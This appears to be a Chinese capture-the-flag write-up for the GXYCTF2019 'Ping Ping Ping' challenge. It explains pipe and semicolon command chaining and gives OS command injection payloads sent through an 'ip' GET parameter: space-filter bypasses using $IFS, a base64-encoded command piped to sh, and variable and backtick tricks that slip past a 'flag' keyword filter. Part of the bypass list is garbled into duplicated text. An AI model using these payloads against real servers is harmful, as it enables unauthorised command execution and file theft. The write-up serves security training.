[GXYCTF2019]Ping Ping Ping 1
[GXYCTF2019]Ping Ping Ping 1
审题
-
由标题和内容,我们可以想到Linux的命令执行。
-
并且由内容**/?ip=**,看出用GET注入ip变量来读取flag
知识点
Linux的命令执行,空格的绕过
知识点详解
在Linux中,竖线符号 “|” 和分号符号 “;” 具有不同的作用。
-
竖线符号 “|” (管道符号): 在Linux命令行中,竖线符号 “|” 用于将一个命令的输出作为另一个命令的输入。通过使用管道符号,可以将多个命令连接起来,实现数据流的传递和处理。
例如:
command1 | command2
这将会将 command1
的输出作为 command2
的输入,从而实现两个命令之间的数据传递和处理。
管道符号的作用是实现命令的组合和协作,常用于对命令的输出进行过滤、排序、统计等操作。
分号符号 “;” : 在Linux命令行中,分号符号 “;” 用于分隔多个命令,使它们依次执行。
例如:
-
command1 ; command2 ; command3
这将会按照顺序执行
command1
、command2
和command3
,每个命令之间使用分号进行分隔。分号符号的作用是允许在一行命令中连续执行多个命令,无论前一个命令是否成功执行,都会继续执行后续的命令。
需要注意的是,在使用这些符号时,应根据具体的需求和命令语法进行正确的使用,以确保命令的执行效果符合预期。
空格被过滤时
{cat,flag.txt}
cat I F S f l a g . t x t c a t {IFS}flag.txt cat IFSflag.txtcatIFS 1 f l a g . t x t c a t < f l a g . t x t c a t < > f l a g . t x t k g = 1flag.txt cat<flag.txt cat<>flag.txt kg= 1flag.txtcat<flag.txtcat<>flag.txtkg=‘\x20flag.txt’&&cat$kg
(\x20转换成字符串就是空格,这里通过变量的方式巧妙绕过)
解题
- 先使用127.0.0.1判断回显是否正常
- 使用Linux命令,查看当前目录下的所有文件
- 使用cat命令抓取flag
- 发现空格被过滤后,绕过空格,经过尝试使用$IFS$1绕过,但又发现flag被过滤。
- 绕过flag有几种方法
一,base64绕过
将cat flag.php通过base64加密后可以构造出
echo$IFS$1Y2F0IGZsYWcucGhwCg==|base64$IFS$1-d|sh
执行后查看源码得到答案。
二,shell定义变量
因为题目过滤了flag所以将ag用一个变量代替可以绕过
1;b=ag;cat$IFS$1fl$b.php
同样查看源码得到答案
三,在shell中``中的返回值会被当成命令执行
1;cat$IFS$1`ls`
所以上面的命令可以看成,cat出当前目录的所有文件。
就是,cat flag.php和index.php,得到flag。